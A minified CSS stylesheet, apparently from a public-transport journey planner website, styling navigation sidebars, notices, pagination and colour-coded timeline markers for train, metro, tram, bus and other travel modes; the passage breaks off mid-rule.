.nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}}@media (min-width:992px){.nav-sidebar--white-desktop,.nav-sidebar--white-desktop .nav-sidebar{background:#fff;color:#3a3a3a}.nav-sidebar--white-desktop button{color:#3a3a3a}.nav-sidebar--white-desktop .nav-sidebar__header{background:#fff;color:#3a3a3a}.nav-sidebar--white-desktop .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--grey-desktop,.nav-sidebar--grey-desktop .nav-sidebar{background:#f1f5f5;color:#3a3a3a}.nav-sidebar--grey-desktop button{color:#3a3a3a}.nav-sidebar--grey-desktop .nav-sidebar__header{background:#f1f5f5;color:#3a3a3a}.nav-sidebar--grey-desktop .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--purple-desktop,.nav-sidebar--purple-desktop .nav-sidebar{background:#66469b;color:#fff}.nav-sidebar--purple-desktop button{color:#fff}.nav-sidebar--purple-desktop .nav-sidebar__header{background:#66469b;color:#fff}.nav-sidebar--purple-desktop .nav-sidebar__baseline{background-image:url('data:image/svg+xml;utf8,');background-repeat:no-repeat;background-position:100% 0}.nav-sidebar--footer-bottom .nav-sidebar__footer{position:absolute;bottom:0}.nav-sidebar--panel .nav-sidebar{position:absolute;top:110px;height:calc(100% - 110px)}.nav-sidebar--panel .nav-sidebar__header{position:absolute;top:0}.nav-sidebar--navigation .nav-sidebar__content{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;width:100%;max-width:100%}.nav-sidebar--navigation .nav-sidebar__content>ul{width:100%;max-width:100%}.nav-sidebar--navigation .nav-sidebar__header .link{display:none}.nav-sidebar--planner .nav-sidebar .nav-sidebar-panel{position:relative}.nav-sidebar--planner .nav-sidebar__title{padding:45px 0 27px}.nav-sidebar--planner .nav-sidebar--open .nav-sidebar{position:absolute;top:0}}@media (min-width:1280px){.nav-sidebar--panel:after{left:420px;width:calc(100vw - 420px)}}.page-notice{padding:20px 35px;background-color:#f1f5f5;font-size:14px;position:fixed;top:0;z-index:1003;width:100%;padding-bottom:80px}.page-notice--info{background:#ddf1fa;color:#1b3b6e}.page-notice--info .page-notice__actions .btn--text{color:#1b3b6e}.page-notice--warning{background:#fcefe8;color:#ea6022}.page-notice--warning .page-notice__actions .btn--text{color:#ea6022}.page-notice__icon,.page-notice__wrapper{display:-ms-flexbox;display:flex}.page-notice__icon{-ms-flex:40px 0 0px;flex:40px 0 0;position:relative;-ms-flex-align:center;align-items:center;line-height:1;margin-right:10px}.page-notice__icon .icon{display:block;-ms-flex:1;flex:1;top:0;position:relative;fill:currentColor;width:24px;height:24px}.page-notice__info{-ms-flex:1;flex:1;padding-left:20px}.page-notice__actions{padding-top:20px;width:100%;-ms-flex:none;flex:none;clear:both;position:absolute;bottom:20px;left:0;text-align:center}.page-notice__actions .btn--text{position:relative;border:none;background:none;font-size:16px;font-weight:500;padding-right:0;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;margin:0 auto;padding:15px;top:0;-ms-flex:1;flex:1}.page-notice__actions .btn--text .icon{-ms-flex:12px 0 0px;flex:12px 0 0;width:12px;height:12px;left:auto;position:relative}.page-notice__actions .btn--text span{margin-right:5px}.page-notice__actions .btn--text:hover{text-decoration:underline}@media (min-width:650px){.page-notice{font-size:16px;padding-bottom:20px}.page-notice__info,.page-notice__wrapper{display:-ms-flexbox;display:flex}.page-notice__info{-ms-flex:1;flex:1;-ms-flex-align:center;align-items:center}.page-notice__actions{-ms-flex:100px 0 0px;flex:100px 0 0;margin-top:0;padding-top:0;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;position:relative;bottom:auto;left:auto}.page-notice__actions .btn--text{margin:0;padding-right:0}}@media (min-width:992px){.page-notice{padding:30px}.page-notice__info{padding-right:30px;padding-left:0;float:none}.page-notice__icon{float:none}.page-notice__icon .icon{top:0;width:36px;height:36px}}@media (min-width:1280px){.page-notice__wrapper{max-width:1730px}.page-notice__info{padding-right:50px}}.pager{display:-ms-flexbox;display:flex;padding:20px;border:2px solid #f1f5f5;border-radius:5px}.pager--lined{border-radius:0;border-left:0;border-right:0;padding-left:0;padding-right:0}.pager--as-top{border-radius:5px 5px 0 0;padding:10px 20px}.pager>div{-ms-flex:2;flex:2;text-align:center}.pager div:first-child{-ms-flex:1;flex:1;text-align:left}.pager .link span{font-size:0}.pager div:last-child{-ms-flex:1;flex:1;text-align:right}@media (min-width:650px){.pager .link{-ms-flex:1;flex:1}.pager .link,.pager .link span{font-size:18px}}.pagination{margin:30px 0;padding:0;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;text-align:center}@media (min-width:650px){.pagination{margin:60px 0}}.pagination li{display:inline-block;padding:0;margin:0 8px;list-style-type:none;line-height:2.8rem}.pagination li:before{display:none}.pagination-next,.pagination-prev{height:100%;line-height:2.8rem;display:block;text-align:center}.pagination-next .icon,.pagination-prev .icon{top:2px;width:14px;height:14px;color:#006ab3}@media (min-width:650px){.pagination-next .icon,.pagination-prev .icon{color:rgba(0,106,179,.6)}}.pagination-next:hover .icon,.pagination-prev:hover .icon{color:#006ab3}.pagination-next.is-disabled:hover .icon,.pagination-prev.is-disabled:hover .icon{color:#dedede}@media (min-width:650px){.pagination-next.is-disabled:hover .icon,.pagination-prev.is-disabled:hover .icon{color:#dedede}}.pagination .is-disabled{color:#dedede!important;cursor:not-allowed}.pagination .is-disabled .icon{color:#dedede}.pagination-page{border:none;border-radius:4px;text-align:center;cursor:pointer;width:3.5rem;font-weight:400;color:#006ab3}.pagination-page.is-disabled{border-color:#dedede!important;border:none!important}@media (min-width:650px){.pagination-page{display:block;margin:60px 0;border:2px solid #dedede}}.pagination-page:hover{text-decoration:none;border:none}@media (min-width:650px){.pagination-page:hover{border-color:#006ab3;border:2px solid #006ab3}}.pagination-page.is-active{border-color:#006ab3;border:2px solid #006ab3}@media (max-width:991px){.pagination-page.is-active{padding:2px;border-radius:3px}}.pagination-spread{padding:0 10px;display:none}@media (min-width:650px){.pagination-spread{display:block}}.timeline__dot{position:relative;height:20px}.timeline__dot .icon{width:20px;height:20px;border-radius:50%;padding:3px;fill:#fff;z-index:2}@media print{.timeline__dot .icon{border-radius:0;border:none}}.timeline__dot .timeline__dot__icon-wrapper{width:20px;height:20px;border-radius:50%;overflow:hidden;position:relative}.timeline__dot .timeline__dot__icon-wrapper .icon{width:20px;height:20px;border-radius:0}.timeline__dot:after,.timeline__dot:before{content:"";position:absolute;z-index:0;top:50%;right:0;width:calc(100% - 20px);transform:translateY(-50%);border-bottom-width:3px;border-bottom-style:solid}@media print{.timeline__dot:after,.timeline__dot:before{border-radius:0;border:none}}.timeline__dot:before{display:none}.timeline__dot:last-of-type:after{width:calc(100% - 20px);right:0}.timeline__dot:last-of-type:before{border:none;width:10px;height:10px;right:-15px;border-radius:50%;z-index:1}.timeline__dot-transfer-content{display:block;width:25px;height:25px;background:#fff;z-index:999;position:relative;border:3px solid #3b5998;border-radius:50%;margin:0 auto}.planner-dtl__item--express-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--express-train .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--express-train .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--express-train .timeline__dot .icon,.timeline__dot--express-train .dropdown__item .dropdown__lbl:before,.timeline__dot--express-train .icon{background:#8570b0}.planner-dtl__item--express-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--express-train .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--express-train .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--express-train .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--express-train .timeline__dot:after,.planner-dtl__item--express-train .timeline__dot:before,.timeline__dot--express-train .dropdown__item .dropdown__lbl:after,.timeline__dot--express-train:after,.timeline__dot--express-train:before{border-color:#8570b0}.planner-dtl__item--express-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--express-train .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--express-train .dropdown__item .dropdown__time:before{border-left-color:#8570b0;display:block}.planner-dtl__item--ic-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--ic-train .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--ic-train .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--ic-train .timeline__dot .icon,.timeline__dot--ic-train .dropdown__item .dropdown__lbl:before,.timeline__dot--ic-train .icon{background:#3b5998}.planner-dtl__item--ic-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--ic-train .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--ic-train .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--ic-train .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--ic-train .timeline__dot:after,.planner-dtl__item--ic-train .timeline__dot:before,.timeline__dot--ic-train .dropdown__item .dropdown__lbl:after,.timeline__dot--ic-train:after,.timeline__dot--ic-train:before{border-color:#3b5998}.planner-dtl__item--ic-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--ic-train .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--ic-train .dropdown__item .dropdown__time:before{border-left-color:#3b5998;display:block}.planner-dtl__item--ir-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--ir-train .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--ir-train .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--ir-train .timeline__dot .icon,.timeline__dot--ir-train .dropdown__item .dropdown__lbl:before,.timeline__dot--ir-train .icon{background:#3b5998}.planner-dtl__item--ir-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--ir-train .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--ir-train .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--ir-train .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--ir-train .timeline__dot:after,.planner-dtl__item--ir-train .timeline__dot:before,.timeline__dot--ir-train .dropdown__item .dropdown__lbl:after,.timeline__dot--ir-train:after,.timeline__dot--ir-train:before{border-color:#3b5998}.planner-dtl__item--ir-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--ir-train .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--ir-train .dropdown__item .dropdown__time:before{border-left-color:#3b5998;display:block}.planner-dtl__item--l-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--l-train .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--l-train .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--l-train .timeline__dot .icon,.timeline__dot--l-train .dropdown__item .dropdown__lbl:before,.timeline__dot--l-train .icon{background:#4995d1}.planner-dtl__item--l-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--l-train .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--l-train .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--l-train .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--l-train .timeline__dot:after,.planner-dtl__item--l-train .timeline__dot:before,.timeline__dot--l-train .dropdown__item .dropdown__lbl:after,.timeline__dot--l-train:after,.timeline__dot--l-train:before{border-color:#4995d1}.planner-dtl__item--l-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--l-train .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--l-train .dropdown__item .dropdown__time:before{border-left-color:#4995d1;display:block}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--s-train .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--s-train .timeline__dot .icon,.timeline__dot--s-train .dropdown__item .dropdown__lbl:before,.timeline__dot--s-train .icon{background:#faaf01}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--s-train .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--s-train .timeline__dot:after,.planner-dtl__item--s-train .timeline__dot:before,.timeline__dot--s-train .dropdown__item .dropdown__lbl:after,.timeline__dot--s-train:after,.timeline__dot--s-train:before{border-color:#faaf01}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--s-train .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--s-train .dropdown__item .dropdown__time:before{border-left-color:#faaf01;display:block}.planner-dtl__item--metro .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--metro .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--metro .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--metro .timeline__dot .icon,.timeline__dot--metro .dropdown__item .dropdown__lbl:before,.timeline__dot--metro .icon{background:#c31632}.planner-dtl__item--metro .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--metro .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--metro .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--metro .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--metro .timeline__dot:after,.planner-dtl__item--metro .timeline__dot:before,.timeline__dot--metro .dropdown__item .dropdown__lbl:after,.timeline__dot--metro:after,.timeline__dot--metro:before{border-color:#c31632}.planner-dtl__item--metro .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--metro .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--metro .dropdown__item .dropdown__time:before{border-left-color:#c31632;display:block}.planner-dtl__item--tram .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--tram .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--tram .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--tram .timeline__dot .icon,.timeline__dot--tram .dropdown__item .dropdown__lbl:before,.timeline__dot--tram .icon{background:#006616}.planner-dtl__item--tram .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--tram .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--tram .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--tram .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--tram .timeline__dot:after,.planner-dtl__item--tram .timeline__dot:before,.timeline__dot--tram .dropdown__item .dropdown__lbl:after,.timeline__dot--tram:after,.timeline__dot--tram:before{border-color:#006616}.planner-dtl__item--tram .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--tram .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--tram .dropdown__item .dropdown__time:before{border-left-color:#006616;display:block}.planner-dtl__item--bus .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--bus .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--bus .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--bus .timeline__dot .icon,.timeline__dot--bus .dropdown__item .dropdown__lbl:before,.timeline__dot--bus .icon{background:#00a151}.planner-dtl__item--bus .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--bus .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--bus .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--bus .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--bus .timeline__dot:after,.planner-dtl__item--bus .timeline__dot:before,.timeline__dot--bus .dropdown__item .dropdown__lbl:after,.timeline__dot--bus:after,.timeline__dot--bus:before{border-color:#00a151}.planner-dtl__item--bus .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--bus .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--bus .dropdown__item .dropdown__time:before{border-left-color:#00a151;display:block}.planner-dtl__item--walk .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--walk .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--walk .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--walk .timeline__dot .icon,.timeline__dot--walk .dropdown__item .dropdown__lbl:before,.timeline__dot--walk .icon{background:#3a3a3a}.planner-dtl__item--walk .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--walk .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--walk .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--walk .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--walk .timeline__dot:after,.planner-dtl__item--walk .timeline__dot:before,.timeline__dot--walk .dropdown__item .dropdown__lbl:after,.timeline__dot--walk:after,.timeline__dot--walk:before{border-color:#3a3a3a}.planner-dtl__item--walk .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--walk .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--walk .dropdown__item .dropdown__time:before{border-left-color:#3a3a3a;display:block}.planner-dtl__item--cycling .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--cycling .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--cycling .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--cycling .timeline__dot .icon,.timeline__dot--cycling .dropdown__item .dropdown__lbl:before,.timeline__dot--cycling .icon{background:#3a3a3a}.planner-dtl__item--cycling .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--cycling .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--cycling .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--cycling .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--cycling .timeline__dot:after,.planner-dtl__item--cycling .timeline__dot:before,.timeline__dot--cycling .dropdown__item .dropdown__lbl:after,.timeline__dot--cycling:after,.timeline__dot--cycling:before{border-color:#3a3a3a}.planner-dtl__item--cycling .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--cycling .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--cycling .dropdown__item .dropdown__time:before{border-left-color:#3a3a3a;display:block}.planner-dtl__item--car .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--car .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--car .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--car .timeline__dot .icon,.timeline__dot--car .dropdown__item .dropdown__lbl:before,.timeline__dot--car .icon{background:#3a3a3a}.planner-dtl__item--car .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--car .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--car .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--car .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--car .timeline__dot:after,.planner-dtl__item--car .timeline__dot:before,.timeline__dot--car .dropdown__item .dropdown__lbl:after,.timeline__dot--car:after,.timeline__dot--car:before{border-color:#3a3a3a}.planner-dtl__item--car .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--car .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--car .dropdown__item .dropdown__time:before{border-left-color:#3a3a3a;display:block}.planner-dtl__item--replacement .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--replacement .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--replacement .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--replacement .timeline__dot .icon,.timeline__dot--replacement .dropdown__item .dropdown__lbl:before,.timeline__dot--replacement .icon{background:#df3603}.planner-dtl__item--replacement .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--replacement .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--replacement .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--replacement .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--replacement .timeline__dot:after,.planner-dtl__item--replacement .timeline__dot:before,.timeline__dot--replacement .dropdown__item .dropdown__lbl:after,.timeline__dot--replacement:after,.timeline__dot--replacement:before{border-color:#df3603}.planner-dtl__item--replacement .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--replacement .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--replacement .dropdown__item .dropdown__time:before{border-left-color:#df3603;display:block}.planner-dtl__item--onhold .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:before,.planner-dtl__item--onhold .planner-dtl__dropdown .dropdown__list .icon,.planner-dtl__item--onhold .timeline__dot .dropdown__item .dropdown__lbl:before,.planner-dtl__item--onhold .timeline__dot .icon,.timeline__dot--onhold .dropdown__item .dropdown__lbl:before,.timeline__dot--onhold .icon{background:#a0a0a0}.planner-dtl__item--onhold .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__lbl:after,.planner-dtl__item--onhold .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--onhold .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--onhold .timeline__dot .dropdown__item .dropdown__lbl:after,.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--onhold .timeline__dot:before,.timeline__dot--onhold .dropdown__item .dropdown__lbl:after,.timeline__dot--onhold:after,.timeline__dot--onhold:before{border-color:#a0a0a0}.planner-dtl__item--onhold .planner-dtl__dropdown .dropdown__list .dropdown__item .dropdown__time:before,.planner-dtl__item--onhold .timeline__dot .dropdown__item .dropdown__time:before,.timeline__dot--onhold .dropdown__item .dropdown__time:before{border-left-color:#a0a0a0;display:block}.planner-dtl__dropdown--express-train:before{color:#8570b0}.planner-dtl__dropdown--express-train .dropdown__lbl:before{background:#8570b0}.planner-dtl__item--express-train .icon--wagons{fill:#8570b0}.planner-dtl__dropdown--ic-train:before{color:#3b5998}.planner-dtl__dropdown--ic-train .dropdown__lbl:before{background:#3b5998}.planner-dtl__item--ic-train .icon--wagons{fill:#3b5998}.planner-dtl__dropdown--ir-train:before{color:#3b5998}.planner-dtl__dropdown--ir-train .dropdown__lbl:before{background:#3b5998}.planner-dtl__item--ir-train .icon--wagons{fill:#3b5998}.planner-dtl__dropdown--l-train:before{color:#4995d1}.planner-dtl__dropdown--l-train .dropdown__lbl:before{background:#4995d1}.planner-dtl__item--l-train .icon--wagons{fill:#4995d1}.planner-dtl__dropdown--s-train:before{color:#faaf01}.planner-dtl__dropdown--s-train .dropdown__lbl:before{background:#faaf01}.planner-dtl__item--s-train .icon--wagons{fill:#faaf01}.planner-dtl__dropdown--metro:before{color:#c31632}.planner-dtl__dropdown--metro .dropdown__lbl:before{background:#c31632}.planner-dtl__item--metro .icon--wagons{fill:#c31632}.planner-dtl__dropdown--tram:before{color:#006616}.planner-dtl__dropdown--tram .dropdown__lbl:before{background:#006616}.planner-dtl__item--tram .icon--wagons{fill:#006616}.planner-dtl__dropdown--bus:before{color:#00a151}.planner-dtl__dropdown--bus .dropdown__lbl:before{background:#00a151}.planner-dtl__item--bus .icon--wagons{fill:#00a151}.planner-dtl__dropdown--walk:before{color:#3a3a3a}.planner-dtl__dropdown--walk .dropdown__lbl:before{background:#3a3a3a}.planner-dtl__item--walk .icon--wagons{fill:#3a3a3a}.planner-dtl__dropdown--cycling:before{color:#3a3a3a}.planner-dtl__dropdown--cycling .dropdown__lbl:before{background:#3a3a3a}.planner-dtl__item--cycling .icon--wagons{fill:#3a3a3a}.planner-dtl__dropdown--car:before{color:#3a3a3a}.planner-dtl__dropdown--car .dropdown__lbl:before{background:#3a3a3a}.planner-dtl__item--car .icon--wagons{fill:#3a3a3a}.planner-dtl__dropdown--replacement:before{color:#df3603}.planner-dtl__dropdown--replacement .dropdown__lbl:before{background:#df3603}.planner-dtl__item--replacement .icon--wagons{fill:#df3603}.planner-dtl__dropdown--onhold:before{color:#a0a0a0}.planner-dtl__dropdown--onhold .dropdown__lbl:before{background:#a0a0a0}.planner-dtl__item--onhold .icon--wagons{fill:#a0a0a0}.planner-dtl__item--wait .planner-dtl__dropdown .dropdown__list:after,.planner-dtl__item--wait .timeline__dot:after,.timeline__dot--wait:after{border-color:#dedede;width:100%}.planner-dtl__item--wait .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--wait .planner-dtl__dropdown .dropdown__list:last-of-type:before,.planner-dtl__item--wait .timeline__dot:before,.planner-dtl__item--wait .timeline__dot:last-of-type:before,.timeline__dot--wait:before,.timeline__dot--wait:last-of-type:before{display:none}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .icon__holder,.planner-dtl__item--s-train .timeline__dot .icon__holder,.timeline__dot--s-train .icon__holder{width:100%;position:static}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .icon__holder .icon,.planner-dtl__item--s-train .timeline__dot .icon__holder .icon,.timeline__dot--s-train .icon__holder .icon{transform:translateY(-50%)}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list .timeline__dot__icon-wrapper .icon,.planner-dtl__item--s-train .timeline__dot .timeline__dot__icon-wrapper .icon,.timeline__dot--s-train .timeline__dot__icon-wrapper .icon{fill:#025287}.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list:before,.planner-dtl__item--s-train .planner-dtl__dropdown .dropdown__list:last-of-type:before,.planner-dtl__item--s-train .timeline__dot:before,.planner-dtl__item--s-train .timeline__dot:last-of-type:before,.timeline__dot--s-train:before,.timeline__dot--s-train:last-of-type:before{display:none}.planner__line .timeline__dot.timeline__dot--wait{min-width:auto}.planner-dtl__dropdown--wait:before{color:#dedede}.planner-dtl__dropdown--wait .dropdown__lbl:before{background:none}.planner{width:100%;background:#fff;color:#3a3a3a}.planner-list{margin:0}.planner-additional-information{padding:18px 20px;background:#ddf1fa;border-bottom:2px solid #fff}.planner-additional-information h3{color:#006ab3;font-size:inherit;width:95%;max-width:320px;display:block;margin:0 auto;font-weight:400}.planner-list-item{padding-left:0}.planner-list-item:before{display:none}.planner-list-item:not(:hover) .planner__delay,.planner-list-item:not(:hover) .planner__delay--orange{color:#d03802}.planner-list-item:not(:hover) .planner__delay--green{color:#3f7f03}.planner-list-item:not(:hover) .planner__item:not(.active) .planner__warning{color:#d03802}.planner-list-item:not(:hover) .planner__item:not(.active) .planner__warning .color-orange{color:#d03802!important}.planner-list-item .color-orange,.planner-list-item .planner__delay,.planner-list-item .planner__details,.planner-list-item .planner__warning,.planner-list-item:hover .color-orange,.planner-list-item:hover .planner__delay,.planner-list-item:hover .planner__details,.planner-list-item:hover .planner__warning{transition:color .15s ease-in-out}.planner-list-item:hover .planner__delay,.planner-list-item:hover .planner__warning{color:#df3603}.planner-list-item:hover .planner__delay--green{color:#3d8704}.planner__item{outline:none;background:#fff;width:100%;padding:20px 10px;border-bottom:2px solid #f1f5f5;position:relative;cursor:pointer;overflow:hidden}.planner__item,.planner__item:before{transition:background .15s ease-in-out}.planner__item:before{content:""}.planner__item.active,.planner__item:focus,.planner__item:hover{background:#fff}.planner__item.active:before{width:0;background:#006ab3;position:absolute;top:-3px;right:auto;bottom:-3px;left:0}.planner__item.active .planner__details{color:#6e6e6e}.planner__item.active .planner__delay--green{color:#3d8704}.planner__item.active .planner__delay--orange,.planner__item.active .planner__warning{color:#df3603}.planner__item.disabled{cursor:not-allowed}.planner__item.disabled:hover{background:#f1f5f5}.planner__item.disabled:hover:before{width:0}.planner__item.disabled .planner__hour{color:#a0a0a0}.planner__item.disabled .timeline__dot .dropdown__item .dropdown__lbl:before,.planner__item.disabled .timeline__dot .icon{background:#8c8c8c}.planner__item.disabled .timeline__dot .dropdown__item .dropdown__lbl:after,.planner__item.disabled .timeline__dot:after,.planner__item.disabled .timeline__dot:before{border-color:#8c8c8c}.planner__item.disabled .timeline__dot .dropdown__item .dropdown__time:before{border-left-color:#8c8c8c;display:block}.planner__item.tba .planner__hour{color:#a0a0a0}.planner__content{width:95%;margin:0 auto}.planner__content .js-load-more{padding-left:18px}.planner__details{color:#6e6e6e;font-style:italic;line-height:18px}.planner__details:after,.planner__details:before{content:" ";display:table}.planner__details:after{clear:both}.planner__details--content,.planner__details--track{float:left}.planner__details--track+.planner__details--content{float:right}.planner__msg,.planner__warning{display:block;clear:both;position:relative;color:#d03802;padding-left:25px;line-height:normal;font-style:normal;margin-top:5px}.planner__msg svg,.planner__warning svg{top:3px}.planner__warning{padding-left:0}.planner__warning .icon{position:relative;width:20px;margin-right:10px}.planner__warning a{color:#0069b4!important}.planner__warning a:hover{color:#1b3b6e!important}.planner__msg{color:#006ab3}.planner__timeline{margin-bottom:3px;background:transparent;border:0;display:block;width:100%;font-family:Circular 